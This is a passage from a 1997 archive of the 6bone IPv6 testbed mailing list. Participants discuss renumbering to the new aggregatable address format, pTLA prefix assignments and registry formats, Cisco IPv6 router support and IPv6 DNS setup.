coming online.

3. that all backbone sites will peer with BGP4+, and only BGP4+.

4. that the old testing addresses (RFC 1897) be discontinued on the
backbone as early as October 1 (by sites already renumbered) and not later
than November 1 when the newly addressed backbone is scheduled to be fully
online.

5. that a call for new pTLA candidates be issued immediately, for inclusion
in the October 1 renumbering/restructuring, where the criteria to be
applied for inclusion is willingness and ability to actively participate in
this timeframe, and demonstrated experience with IPv6 and the 6bone.

6. that a call for existing backbone sites (given a pTLA above) be made to
decide themselves if they are able to participate in this renumbering/
resructuring effort, and be encouraged to give back their pTLA assignment
for now if they aren't able to participate.  (Note:  any site doing this
can easily reapply at a later time.)

--------------------------------------------------------
Addendum - Call for 6bone Backbone participants email to 6bone list
--------------------------------------------------------
Per the 6bone backbone ad hoc meeting in Munich, I am calling for those
interested in being an early 6bone test pTLA (i.e., pseudo TLAs assigned
from the NLA1 field of the 6bone Test address allocation) when the
renumbering to the new Aggregation-based unicast address format is started
on 1 October.

Requirements are willingness and ability to actively participate in this
timeframe, and demonstrated experience with IPv6 and the 6bone.

Please send your requests to become a 6bone pTLA to the 6bone mail list
with text sufficient to describe your interest and qualifications.

I will assign test pTLAs to all reasonable request at this time.

Thanks,

Bob

-end



From majordom@ISI.EDU  Wed Sep  3 10:22:51 1997
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References: Your message of "Tue, 02 Sep 1997 11:11:44 MST."            
 <199709021811.AA18746@zed.isi.edu>
Mime-Version: 1.0
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Date: Wed, 3 Sep 1997 17:22:51 -0700
To: bound@zk3.dec.com
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Release 5.2 is now available
Cc: 6bone@ISI.EDU (6BONE Mailer)
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Jim,

At 2:11 PM -0700 9/2/97, bound@zk3.dec.com wrote:
>Bill,
>
>>Hum.  A goal for some will be to move from one address format to another.
>>As I understand, both types remain valid and ought to be accepted.
>>The IPv4 analogy I might use here is:
>>
>>	"People must renumber all the hosts in the 1-126 range
>>	 and go to the 192 range since the 192 range has CIDR
>>	 support and the 1-126 does not."
>>
>>Or is there something else going on here?
>
>The 6bone is a test vehicle and we now have new agreed to specs for the
>low order 64bits per IPv6 over foo (choose your flavor).  Bob Fink is
>correct we should be testing the new specs.  If vendors have not
>implemented them that is a problem.  It was my impression all had done
>so at UNH but some may not have offered new kits out to users.  I know
>we just updated our kit and it will also support a backwards
>compatibility mode if there are nodes on the net that do not yet support
>the new interface ID spec.
>
>I personally believe we should select a drop dead date when the old form
>of IPv6 over Foo is no longer supported on the 6bone.  All nodes must do
>the new specs and we can get rid of carrying around the backwards
>compatibility mode in all implementations.
>
>Bob I suggest you pick a date that we shoot for that is reasonable to
>all ???

I agree we need a date, but I'm concerned that we can't yet agree on one.
For one, there are lots of Suns on the 6bone, and I doubt we can agree on a
date until the Sun issue is resolved.


Bob




From majordom@ISI.EDU  Wed Sep  3 18:30:09 1997
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To: Bob Fink <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: Release 5.2 is now available 
In-Reply-To: Your message of "Wed, 03 Sep 1997 17:22:51 MST."
             <v03102827b033a8193e0f@[128.3.9.22]> 
Date: Wed, 03 Sep 1997 22:30:09 -0400
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Status: RO

Bob,

I understand that and agree with you.  I did not say the date had to be
anytime?  But I think sometime should be selected.

I suggest you or someone (I will help you if you like) contact all
implementations and ask them when they can support the new stuff???

Then we pick a date?

The hidden agenda I am working is as follows:

We have new addr arch and we got to transition.  We are also maybe going
to change the DNS AAAA records via IPng WG.  What I don't think we
should do is have to "deploy" IPv6 in a production manner with backward
compatible thingees from a test bed ..........I think this is not wise
as a strategy.   Transitioning v4 to v6 will be difficult enough without
doing v6 to v6 too.

What do you think?  

thanks
/jim



From majordom@ISI.EDU  Thu Sep  4 01:10:12 1997
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Date: Thu, 4 Sep 1997 08:10:12 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: survey on expected transition dates for the 6bone
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Status: RO

6bone Folk,

As you have seen on this list, we have had much discussion on what might be
intended for a conversion (on the 6bone) to the new aggregatable address
format.  Based on the IPng meetings, and what it says in the new I-D for
IPv6 Addressing Architecture, the intention of the new Aggregatable Global
Unicast Address format is to replace the previous Provider-Based Unicast
Address format.

It is even the case that, in the new address architecture I-D, that the
reservation for Geographic-Based Unicast Addresses goes away as well.

We need to make the conversion to the new format (on the 6bone) as cleanly
and as soon as reasonable to facilitate testing of all parts of the new
address format.

At the Munich 6bone meetings we also set an initial timeline of:

===from the 6bone backbone meeting minutes
"4. that the old testing addresses (RFC 1897) be discontinued on the
backbone as early as October 1 (by sites already renumbered) and not later
than November 1 when the newly addressed backbone is scheduled to be fully
online."
===

So...my question is, is this reasonable?


I would like to ask 6bone participants (all sites, not just backbone sites)
to send to this list their estimate of ability to convert to the new
address format, and when they believe it could be done.

I'll compile and broadcst the list as it accumulates so we can all see what
the problems are with implementations and timelines.


Thanks,

Bob



================================================================================
FROM THE OLD AND NEW ADDRESS ARCHITECTURE DOCS
================================================================================
draft-ietf-ipngwg-addr-arch-v2-02.txt                           [Page 6]

INTERNET-DRAFT        IPv6 Addressing Architecture             July 1997


      Allocation                            Prefix         Fraction of
                                            (binary)       Address Space
      -----------------------------------   --------       -------------
      Reserved                              0000 0000      1/256
      Unassigned                            0000 0001      1/256

      Reserved for NSAP Allocation          0000 001       1/128
      Reserved for IPX Allocation           0000 010       1/128

      Unassigned                            0000 011       1/128
      Unassigned                            0000 1         1/32
      Unassigned                            0001           1/16

      Aggregatable Global Unicast Addresses 001            1/8
      Unassigned                            010            1/8
      Unassigned                            011            1/8
      Unassigned                            100            1/8
      Unassigned                            101            1/8
      Unassigned                            110            1/8

      Unassigned                            1110           1/16
      Unassigned                            1111 0         1/32
      Unassigned                            1111 10        1/64
      Unassigned                            1111 110       1/128
      Unassigned                            1111 1110 0    1/512

      Link-Local Unicast Addresses          1111 1110 10   1/1024
      Site-Local Unicast Addresses          1111 1110 11   1/1024

      Multicast Addresses                   1111 1111      1/256

--
Hinden & Deering            Standards Track                     [Page 5]

RFC 1884              IPv6 Addressing Architecture         December 1995


        Allocation                         Prefix         Fraction of
                                           (binary)       Address Space
        -------------------------------    --------       -------------
        Reserved                           0000 0000      1/256
        Unassigned                         0000 0001      1/256

        Reserved for NSAP Allocation       0000 001       1/128
        Reserved for IPX Allocation        0000 010       1/128

        Unassigned                         0000 011       1/128
        Unassigned                         0000 1         1/32
        Unassigned                         0001           1/16
        Unassigned                         001            1/8

        Provider-Based Unicast Address     010            1/8

        Unassigned                         011            1/8

        Reserved for Geographic-
        Based Unicast Addresses            100            1/8

        Unassigned                         101            1/8
        Unassigned                         110            1/8
        Unassigned                         1110           1/16
        Unassigned                         1111 0         1/32
        Unassigned                         1111 10        1/64
        Unassigned                         1111 110       1/128

        Unassigned                         1111 1110 0    1/512

        Link Local Use Addresses           1111 1110 10   1/1024
        Site Local Use Addresses           1111 1110 11   1/1024

        Multicast Addresses                1111 1111      1/256

================================================================================
-end



From majordom@ISI.EDU  Thu Sep  4 07:38:22 1997
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Date: Thu, 04 Sep 1997 12:38:22 -0500
From: Richard Irving <rirving@onecall.net>
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Organization: One Call Communications
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One Call Communications, and Indiana based company is interested in
joining the 6Bone. I would be interested in building a tunnel to
someone.... Our ATM currently has its most open Circuits in Chicago.
(The CHI NAP). If your company is interested, (or University) let me
know.

Richard Irving
One Call Communications, Inc.
1-317-580-7217
rirving@onecall.net


  P.S. Where do I go to get the pre-fix assigned again ? I know of the
Test Pre-fixes, but I was hoping for a more long term solution. All
links to the RIPE-NCC 6bone are blocked ,( that I have found ...).


PS. Latest IP 6 router code, and "Heavy Metal" to run it.....

From majordom@ISI.EDU  Thu Sep  4 04:03:15 1997
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References: Your message of "Wed, 03 Sep 1997 17:22:51 MST."            
 <v03102827b033a8193e0f@[128.3.9.22]>
Mime-Version: 1.0
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Date: Thu, 4 Sep 1997 11:03:15 -0700
To: bound@zk3.dec.com
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Release 5.2 is now available
Cc: 6bone@ISI.EDU (6BONE Mailer)
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

At 7:30 PM -0700 9/3/97, bound@zk3.dec.com wrote:
>Bob,
>
>I understand that and agree with you.  I did not say the date had to be
>anytime?  But I think sometime should be selected.
>
>I suggest you or someone (I will help you if you like) contact all
>implementations and ask them when they can support the new stuff???
>
>Then we pick a date?
>
>The hidden agenda I am working is as follows:
>
>We have new addr arch and we got to transition.  We are also maybe going
>to change the DNS AAAA records via IPng WG.  What I don't think we
>should do is have to "deploy" IPv6 in a production manner with backward
>compatible thingees from a test bed ..........I think this is not wise
>as a strategy.   Transitioning v4 to v6 will be difficult enough without
>doing v6 to v6 too.
>
>What do you think?

I couldn't agree more.

As for contacting all implementations, I'll start with a call to the 6bone
list for any and all to comment on if they can make the conversion in the
originally agreed timeframe of 1 Oct to 1 Nov, and if not, when it might be
expected.


Thanks,

Bob



From majordom@ISI.EDU  Thu Sep  4 10:33:38 1997
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Date: Thu, 04 Sep 1997 14:33:38 -0400
To: Bob Fink <RLFink@lbl.gov>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: survey on expected transition dates for the 6bone
Cc: 6bone@ISI.EDU
In-Reply-To: <v0310280db034795c6b79@[128.3.9.22]>
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>
>So...my question is, is this reasonable?
>
Yes for me.  I have two sites that want to be leafs from me.  I've asked
them to wait (anyway they are not totally ready) until the new addressing
structure to be in place. Less efforts for them and me.

>
>I would like to ask 6bone participants (all sites, not just backbone sit=
es)
>to send to this list their estimate of ability to convert to the new
>address format, and when they believe it could be done.
>

I finally got (yesterday) the code from cisco. (side note: when you don't
have the good name, you can spend a lot of time in searching into a large
organisation to get the little thing you need... Thanks Dalen and Pedro..=
. =20

So, I intend to make tests on the next two weeks with the cisco, complete
DNS config and delegation, and then convert to the new addressing structu=
re
for 1st october. After, I will connect to the other bb sites with bgp4 wi=
th
the new addressing structure and then after my leaf sites.=20

This is my plan, if it works with the schedule of other bb sites.

Regards, Marc.

-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagenie inc.			| http://www.viagenie.qc.ca
3107 des hotels		| tel.: 418-656-9254=20
Ste-Foy, Quebec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
pgp: 57 86 A6 83 D3 A8 58 32 F7 0A BB BD 5F B2 4B A7
------------------------------------------------------------
Auteur du livre TCP/IP Simplifi=E9, Editions Logiques, 1997
------------------------------------------------------------


From majordom@ISI.EDU  Thu Sep  4 11:16:06 1997
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From: dlee@visc.vt.edu (David Lee)
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Subject: Re: survey on expected transition dates for the 6bone
To: 6bone@ISI.EDU
Date: Thu, 4 Sep 1997 15:16:06 -0400 (EDT)
Cc: VT-IPV6@LISTSERV.VT.EDU
In-Reply-To: <v0310280db034795c6b79@[128.3.9.22]> from "Bob Fink" at Sep 4, 97 08:10:12 am
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> "4. that the old testing addresses (RFC 1897) be discontinued on the
> backbone as early as October 1 (by sites already renumbered) and not later
> than November 1 when the newly addressed backbone is scheduled to be fully
> online."
> ===
> 
> So...my question is, is this reasonable?
> 
> I would like to ask 6bone participants (all sites, not just backbone sites)
> to send to this list their estimate of ability to convert to the new
> address format, and when they believe it could be done.

It'll probably take us no later than a week to renumber the Virginia Tech
site, from the time I get a SLA, and verify that everything from DNS and
connectivity to our providers works.  

-- 
     David C. Lee - Ph.D. Candidate - ECE Instructor - Email dlee@vt.edu
 URL http://www.visc.vt.edu/~dlee - Phone 1-540-231-8398 - Fax 1-540-231-3362 
   Bradley Department of Electrical and Computer Engineering, Virginia Tech
             475 Whittemore Hall, Blacksburg, Virginia 24061-0111

From majordom@ISI.EDU  Thu Sep  4 07:55:37 1997
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Date: Thu, 4 Sep 1997 14:55:37 -0700
To: rirving@onecall.net
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Interested in joining 6 Bone
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Richard,

At 10:38 AM -0700 9/4/97, Richard Irving wrote:
>One Call Communications, and Indiana based company is interested in
>joining the 6Bone. I would be interested in building a tunnel to
>someone.... Our ATM currently has its most open Circuits in Chicago.
>(The CHI NAP). If your company is interested, (or University) let me
>know.

As we are in a transition stage on the 6bone for now (converting to the new
aggregatable address format), I would suggest waiting until November (when
it might be done) and ask again.


>  P.S. Where do I go to get the pre-fix assigned again ? I know of the
>Test Pre-fixes, but I was hoping for a more long term solution. All
>links to the RIPE-NCC 6bone are blocked ,( that I have found ...).

Only test addess allocations are available at this time.  The old 6bone
registry at RIPE-NCC is gone, and is replaced by teh RIPE-style registry at
ISI.EDU.  Look at the 6bone home page for relevant pointers.

	http://www.6bone.net


Thanks,

Bob



From majordom@ISI.EDU  Fri Sep  5 00:31:09 1997
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When you respond to my question on conversion to the new address format,
please let me know what implementation you are referring to.  Some of the
responses have left me guessing.

Also, will the implementation support EUI-64?


Thanks,

Bob



From majordom@ISI.EDU  Fri Sep  5 00:28:35 1997
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Date: Fri, 5 Sep 1997 07:28:35 -0700
To: Bernard.Tuy@urec.cnrs.fr (Bernard TUY)
From: Bob Fink <RLFink@lbl.gov>
Subject: keeping Aggregatable registry
Cc: 6bone@ISI.EDU
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Bernard,

At 6:17 AM -0700 9/5/97, Bernard TUY wrote:
...
>	The question I have is about delegation of parts of the prefix I
>could get.
>	If I correctly understood what has been discussed before, as soon
>as one
>	gets a prefix he has to maintain an Internet Registry to let everybody
>	knows the sub delegations he has performed.
>	So what format do we have to use (RIPE, ...) ? Are they tools already
>	available to facilitate these registration processes ?

Each entity getting a piece of the aggregatable number space must maintain
a registry for that below them.

So that means a TLA (pTLA in our case) keeps track of its assignments, and
if an NLA under it allocates below itself, then that NLA must also keep a
registry.


Your question on format is a good one.  David Kessens might suggest one as
he has said he can help provide the service using his 6bone registry.

Myself, I'm doing the dumb and simple 'keep a text list' approach, see:

	http://www.6bone.net/6bone_pTLA_list.html


I would be happy to have someone suggest a better format than mine, and
I'll chnage to it.

My guess is that not everyone will want to use either the 6bone registry
(in a RIPE-style format) or a simple text list, so maybe having both is a
good idea.


Comments?


Thanks,

Bob



From majordom@ISI.EDU  Fri Sep  5 06:15:49 1997
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Subject: Re: keeping Aggregatable registry
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Bob,

Bob Fink writes:
> 
> Your question on format is a good one.  David Kessens might suggest one as
> he has said he can help provide the service using his 6bone registry.

There are a couple of ways to do this:

- The DNS reverse zone might be a good place to put this data
- The 6bone registry can be used

  The 6bone registries already has most (if not all) of the support
  needed. There are two possibilities for doing this:
  
  We use the ipv6-site object which contains the 'prefix:' attribute
  which can be used to document the used prefixes. Currently everybody
  can just choose there own prefixes, but I can build in support that one
  needs approval first of the address space manager (SLA level n-1) to
  *create* such a prefix: attribute. It would be needed that the SLA
  manager at level n would also need an 'ipv6-site:' object.
  
  However, a cleaner solution is separating the notion of objects that
  describe which addresses *may* be used by somebody and keep the site
  objects for describing which address space is actually being routed and
  how. This is in fact how it is currently being done for IPv4 address
  space. IPv4 registries have information who can use what (InterNIC,
  RIPE, APNIC) and routing registries (RA, MCI, RIPE, CANET, ANS) have
  information on what is actually using what, where and how. This
  solution would reflect reality better, but might be viewed too
  complicated.
  
  The current software already has support for both type of objects, the
  'ipv6-site:' objects are the routing registry type of objects and the
  'inet6num:' objects for describing allocations/assignments of address
  space. I haven't made the 'inet6num:' public yet since we never had a
  need for it. Below follows a formal description:
  
  inet6num:    [mandatory]  [single]    IPv6 prefix    
  netname:     [mandatory]  [single]    name of the TLA/SLA
  descr:       [mandatory]  [multiple]  description of TLA/SLA
  country:     [mandatory]  [multiple]  space separated list of ISO 
                                        country codes
  admin-c:     [mandatory]  [multiple]  NIC handle for administrative contact
  tech-c:      [mandatory]  [multiple]  NIC handle for technical contact
  rev-srv:     [optional]   [multiple]  nameserver for reverse domain,
                                        could be used by Bill or others
                                        to build the reverse zone!
  remarks:     [optional]   [multiple]  same as in ipv6-site objects
  notify:      [optional]   [multiple]  E-mail address
                                        gets notification message when 
                                        somebody changes the object
  mnt-by:      [optional]   [multiple]  pointer to maintainer object
                                        which describes who can update
                                        the object, everybody can do updates
                                        if you don't use this, however you
                                        can use the 'notify:' attribute to 
                                        make sure you know about the fact.
  mnt-lower:   [optional]   [multiple]  pointer to maintainer object                                        
                                        which describes who is allowed
                                        to *create* objects for SLAs
                                        part of the 'inet6num:' object
  changed:     [mandatory]  [multiple]  same as in ipv6-site objects
  source:      [mandatory]  [single]    equal to 6BONE
  
  We could start with creating the following objects:
  
  inet6num:    0::/0
  netname:     The Mother of All Address Space
  ...
  mnt-by:      IANA
  mnt-lower:   IANA
  
  inet6num:    3FFE:0::/16
  netname:     TestAddressSpace
  ...
  mnt-by:      BobFink-MNT
  mnt-lower:   BobFink-MNT
  
  inet6num:    3FFE:0::/24
  netname:     INNER-TLA0
  ...
  mnt-by:      INNER-TLA0-MNT
  mnt-lower:   INNER-TLA0-MNT
  
  inet6num:    3FFE:0::/32
  netname:     CustomerINNER-TLA0-SLA0
  ...
  mnt-by:      CustomerINNER-TLA0-SLA0-MNT
  mnt-lower:   CustomerINNER-TLA0-SLA0-MNT
    
  and so on ...
  
> Myself, I'm doing the dumb and simple 'keep a text list' approach, see:
> 
> 	http://www.6bone.net/6bone_pTLA_list.html
>
> My guess is that not everyone will want to use either the 6bone registry
> (in a RIPE-style format) or a simple text list, so maybe having both is a
> good idea.

It always make sense to keep such a short simple and authoritative list
to check who is right in case of conflicts that might but should not
happen.

Please let me know what your view is, as the best thing to do,

David K.
---

From majordom@ISI.EDU  Tue Sep  9 17:34:51 1997
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Date: Tue, 9 Sep 1997 15:34:51 +0200 (MET DST)
From: "Luca dell'Agnello" <Luca.dellAgnello@cnaf.infn.it>
To: rlfink@lbl.gov
Cc: 6bone@ISI.EDU, ipv6@cnaf.infn.it, cristina.vistoli@cnaf.infn.it
Subject: request for pTLA
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Request for a pTLA ID
---------------------

Our organization, INFN-CNAF, acts as Local Internet Registry (LIR) for
GARR network, the Italian research and academic network (we distribute
ipv4 network addresses).

Moreover international circuits of the GARR network are located at=A0INFN-C=
NAF:

 - 34 Mb/s link to TEN-34 network (European research and academic network);=
=20
 - 4 Mb/s links to US (T1 to ESnet and E1 to Internet MCI/WIN).

Our experience in 6BONE started last February; we have 2 international
tunnels:=20

- ESNET-US;
- JOIN-DE, with a very good performance (40 ms avg.).

Due to GARR international circuits, we are going to add new tunnels with
international sites and become a 6BONE backbone site; so we will provide
6BONE connectivity to any other GARR site (we planned to move our 6BONE
router to get a more stable and managed configuration).

Our main interest is gaining experience in transition mechanism, IPv6
routing protocols and implementations, and applications over 6BONE;
moreover, since we act as IPv4 address delegation and registry for all
GARR sites, we need to learn how to plan IPv6 GARR addressing.

Please feel free to send us any questions and comments.


Thanks

Cristina Vistoli
Luca dell'Agnello


From majordom@ISI.EDU  Sat Sep  9 18:08:19 1997
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To: 6bone@ISI.EDU
Cc: bryhni@ifi.uio.no
Subject: Cisco IPv6 setup
From: Jan Marius Evang <jane@iaeste.no>
Date: 09 Sep 1997 16:08:19 +0200
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Hi!
We are thinking about purchasing a couple of Cisco 7206 routers, and
wonder wether they will reliably run IPv6.

Which IOS versions are needer? beta? will they give us betas? Wich
other nettcomponents are neccessary? Nameservers? IPv6/IPv4 agents?

More specifically, we are interrested in what we need for IPv6, RSVP
and ATM in these routers (plus of course 100mbps Ethernet)

yours 
Jan Marius Evang
-- 
-O
Rxyskatt

From majordom@ISI.EDU  Tue Sep  9 03:28:42 1997
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Date: Tue, 9 Sep 1997 09:28:42 -0600
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: pTLA list as of 9Sep97
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Below is the current pseudo TLA (pTLA) List as of 9 September 1997,with two
new sites added: STUBA and INFN-CNAF.

	http://www.6bone.net/6bone_pTLA_list.html

I still see no 6bone registry entries for MREN, 3COM and VERIO.  I would
suggest these three sites register very soon as participation in the 6bone
backbone will require registration.


Thanks,

Bob

==========================================
INNER                3FFE:0000::/24
TELEBIT              3FFE:0100::/24
SICS                 3FFE:0200::/24
G6                   3FFE:0300::/24
JOIN                 3FFE:0400::/24
WIDE                 3FFE:0500::/24
SURFNET              3FFE:0600::/24
ESNET                3FFE:0700::/24
CICNET               3FFE:0800::/24
ISI-LAP              3FFE:0900::/24
NWNET                3FFE:0A00::/24
VIAGENIE             3FFE:0B00::/24
CISCO                3FFE:0C00::/24
ANS                  3FFE:0D00::/24
IFB                  3FFE:0E00::/24
NRL/US               3FFE:0F00::/24
CSELT                3FFE:1000::/24
UUNET                3FFE:1100::/24
DIGITAL-CA           3FFE:1200::/24
BAY                  3FFE:1300::/24
UNI-C                3FFE:1400::/24
UO                   3FFE:1500::/24
NUS-IRDU             3FFE:1600::/24
MREN                 3FFE:1700::/24 (no 6bone registry entry)
INTEROP              3FFE:1800::/24
3COM                 3FFE:1900::/24 (no 6bone registry entry)
CAIRN                3FFE:1A00::/24
VERIO                3FFE:1B00::/24 (no 6bone registry entry)
MERIT                3FFE:1C00::/24
ATT-LABS-EUROPE      3FFE:1D00::/24
SWISS-TELECOM        3FFE:1E00::/24
NETCOM-UK            3FFE:1F00::/24
SWITCH               3FFE:2000::/24
JANET                3FFE:2100::/24
STUBA                3FFE:2200::/24
INFN-CNAF            3FFE:2300::/24

-end



From majordom@ISI.EDU  Tue Sep  9 09:28:24 1997
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To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: corrected pTLA list - 9Sep97 #2
Cc: davidk@ISI.EDU (David Kessens)
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Guy Davies pointed out I was not using correct 6bone registry site object
names.  So I've corrected a handfull on the list below and posted it to the
web as well.

	http://www.6bone.net/6bone_pTLA_list.html


Thanks,

Bob

===================================
INNER                3FFE:0000::/24
TELEBIT              3FFE:0100::/24
SICS                 3FFE:0200::/24
G6                   3FFE:0300::/24
JOIN                 3FFE:0400::/24
WIDE                 3FFE:0500::/24
SURFNET              3FFE:0600::/24
ESNET                3FFE:0700::/24
CICNET               3FFE:0800::/24
ISI-LAP              3FFE:0900::/24
NWNET                3FFE:0A00::/24
VIAGENIE             3FFE:0B00::/24
CISCO                3FFE:0C00::/24
ANSNET               3FFE:0D00::/24
IFB                  3FFE:0E00::/24
NRL                  3FFE:0F00::/24
CSELT                3FFE:1000::/24
UUNET-UK             3FFE:1100::/24
DIGITAL-CA           3FFE:1200::/24
BAY                  3FFE:1300::/24
UNI-C                3FFE:1400::/24
UO                   3FFE:1500::/24
NUS-IRDU             3FFE:1600::/24
MREN                 3FFE:1700::/24 (no 6bone registry entry)
INTEROP              3FFE:1800::/24
3COM                 3FFE:1900::/24 (no 6bone registry entry)
CAIRN                3FFE:1A00::/24
VERIO                3FFE:1B00::/24 (no 6bone registry entry)
MERIT                3FFE:1C00::/24
ATT-LABS-EUROPE      3FFE:1D00::/24
SWISS-TELECOM        3FFE:1E00::/24
NETCOM-UK            3FFE:1F00::/24
SWITCH               3FFE:2000::/24
JANET                3FFE:2100::/24
STUBA                3FFE:2200::/24
INFN-CNAF            3FFE:2300::/24

-end



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Date: Tue, 9 Sep 1997 16:03:39 -0600
To: Jan Marius Evang <jane@iaeste.no>, 6bone@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Cisco IPv6 setup
Cc: bryhni@ifi.uio.no
Sender: owner-6bone@ISI.EDU
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Status: RO

At 8:08 AM -0600 9/9/97, Jan Marius Evang wrote:
>Hi!
>We are thinking about purchasing a couple of Cisco 7206 routers, and
>wonder wether they will reliably run IPv6.
>
>Which IOS versions are needer? beta? will they give us betas? Wich
>other nettcomponents are neccessary? Nameservers? IPv6/IPv4 agents?
>
>More specifically, we are interrested in what we need for IPv6, RSVP
>and ATM in these routers (plus of course 100mbps Ethernet)

Please try asking:

	mmcneali@cisco.com (Martin Mcnealis Cisco)

He is the Cisco IPv6 product manager.


Bob



From majordom@ISI.EDU  Tue Sep  9 12:52:18 1997
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Date: Tue, 09 Sep 1997 19:52:18 -0700
To: Bob Fink <RLFink@lbl.gov>
From: Martin McNealis <mmcnealis@cisco.com>
Subject: Re: Cisco IPv6 setup
Cc: Jan Marius Evang <jane@iaeste.no>, kais@bach.austin.ibm.com, 6bone@ISI.EDU,
        bryhni@ifi.uio.no
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Hi Jan, 

Comments inline:-

>At 8:08 AM -0600 9/9/97, Jan Marius Evang wrote:
>>
>>Hi!
>>
>>We are thinking about purchasing a couple of Cisco 7206 routers, and
>>wonder wether they will reliably run IPv6.

Of course :-)

>>Which IOS versions are needer? beta? will they give us betas? Wich
>>other nettcomponents are neccessary? Nameservers? IPv6/IPv4 agents?

Currently our IOS IPv6 Beta version, which now incorpates IPv6 <---> IPv4
NAT functionality.

>>More specifically, we are interrested in what we need for IPv6, RSVP
>>and ATM in these routers (plus of course 100mbps Ethernet)

Please let me know your specific configuration, however RSVP support is
not integrated with our current IOS IPv6 implementation.

Cheers, 

-Martin-
 


From majordom@ISI.EDU  Sun Sep 10 11:44:22 1997
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To: Martin McNealis <mmcnealis@cisco.com>
Cc: Bob Fink <RLFink@lbl.gov>, Jan Marius Evang <jane@iaeste.no>,
        kais@bach.austin.ibm.com, 6bone@ISI.EDU, bryhni@ifi.uio.no
Subject: Re: Cisco IPv6 setup
References: <2.2.32.19970910025218.01bce100@puli.cisco.com>
From: Jan Marius Evang <jane@iaeste.no>
Date: 10 Sep 1997 09:44:22 +0200
In-Reply-To: Martin McNealis's message of Tue, 09 Sep 1997 19:52:18 -0700
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  >> Martin McNealis writes:

  MM> Hi Jan,

  MM> Comments inline:-

  >>> We are thinking about purchasing a couple of Cisco 7206 routers,
  >>> and wonder wether they will reliably run IPv6.

  MM> Of course :-)

good :-)

  >>> Which IOS versions are needer? beta? will they give us betas?
  >>> Wich other nettcomponents are neccessary? Nameservers? IPv6/IPv4
  >>> agents?

  MM> Currently our IOS IPv6 Beta version, which now incorpates IPv6
  MM> <---> IPv4 NAT functionality.

  >>> More specifically, we are interrested in what we need for IPv6,
  >>> RSVP and ATM in these routers (plus of course 100mbps Ethernet)

  MM> Please let me know your specific configuration, however RSVP
  MM> support is not integrated with our current IOS IPv6
  MM> implementation.

We are currently in the "funding" phase, and wonder wether this is the
right choise to ask for money for :-)

Current plans: 
Cisco 7206
NPE 150 16MB (CPU card)
IO card (with 100Mbit ethernet)
Cisco 100 Mbit ethernet module
Cisco 1 port ATM module OC-3

(two routers of this configuration)

Marius

-- 
-O
Rxyskatt

From majordom@ISI.EDU  Thu Sep 11 06:55:45 1997
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Date: Wed, 10 Sep 1997 21:55:45 +0900
To: 6bone@ISI.EDU
From: kim yong sin <dragon@dcn.soongsil.ac.kr>
Subject: Q:DNS server implement
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I'm tring config DNS server for ipv6.

1. BIND version 8.1.1 is support AAAA type. ---> download

2. make (compile)

3. make 'zone file' for domain
(q1: Can I involve ipv4 and ipv6 hosts information into same zone file?)
anyway, i write ipv4 and ipv6 hosts into same zone file.
For 'nslookup',  it operates well.

4. for client, first it searchs 'hosts' file, and if don't exist that host
name then it sends
   'query' message to DNS server.
(q2: Does client sends 'query' message using ipv6 packet?)
(q3: This case,  Which 'resolv.conf' file contains DNS server address ipv6
or ipv4 addr?)

5. If DNS server can't find that host name, it send to other DNS server
(q4: Which DNS server for ipv6  avilable?)
If i can't  config DNS server, i hope using resolver-only client and query
to avilable server

Thanks










From majordom@ISI.EDU  Wed Sep 10 02:56:04 1997
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References: <v0310281cb03b6ef5248f@[128.3.9.22]> from "Bob Fink" at Sep 9,
 97 03:28:24 pm
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Date: Wed, 10 Sep 1997 08:56:04 -0600
To: bmanning@ISI.EDU (Bill Manning)
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: corrected pTLA list - 9Sep97 #2
Cc: 6bone@ISI.EDU, davidk@ISI.EDU
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Bill,

At 10:26 PM -0600 9/9/97, Bill Manning wrote:
>Bob,
>	While you were out, it was determined that you had made a typo
>	in the first list and I had gon ahead and turned on ISI-LAP at
>	0800 and got CIC agreement to run at 0900.  Please make the changes.

Thanks for letting me know.  I have changed the list, and have also
corrected the 6bone registry's new inet6num objects to reflect this (I'll
announce all that stuff later today).


>	Also, less than half the ptla assignments have turned in delegation
>	requests.  When they do, there are a couple of things which I am
>	asking for and there will be a few more that I will begin to insist
>	on.
>
>		- I will ask for the delegates PGP key
>		- I will ask for 6bone registry entries
>		- I will ask for sites that agree to sign their delegations.

This sounds reasonable to me.

The registry entries are essential and I will insist on this specifically.
Not having MREN, 3COM and VERIO registry entries has already meant that we
can't delegate their pTLA to them using the new inet6num registry object.


Thanks,

Bob


====
INNER                3FFE:0000::/24
TELEBIT              3FFE:0100::/24
SICS                 3FFE:0200::/24
G6                   3FFE:0300::/24
JOIN                 3FFE:0400::/24
WIDE                 3FFE:0500::/24
SURFNET              3FFE:0600::/24
ESNET                3FFE:0700::/24
ISI-LAP              3FFE:0800::/24
CICNET               3FFE:0900::/24
NWNET                3FFE:0A00::/24
VIAGENIE             3FFE:0B00::/24
CISCO                3FFE:0C00::/24
ANSNET               3FFE:0D00::/24
IFB                  3FFE:0E00::/24
NRL                  3FFE:0F00::/24
CSELT                3FFE:1000::/24
UUNET-UK             3FFE:1100::/24
DIGITAL-CA           3FFE:1200::/24
BAY                  3FFE:1300::/24
UNI-C                3FFE:1400::/24
UO                   3FFE:1500::/24
NUS-IRDU             3FFE:1600::/24
MREN                 3FFE:1700::/24 (no 6bone registry entry)
INTEROP              3FFE:1800::/24
3COM                 3FFE:1900::/24 (no 6bone registry entry)
CAIRN                3FFE:1A00::/24
VERIO                3FFE:1B00::/24 (no 6bone registry entry)
MERIT                3FFE:1C00::/24
ATT-LABS-EUROPE      3FFE:1D00::/24
SWISS-TELECOM        3FFE:1E00::/24
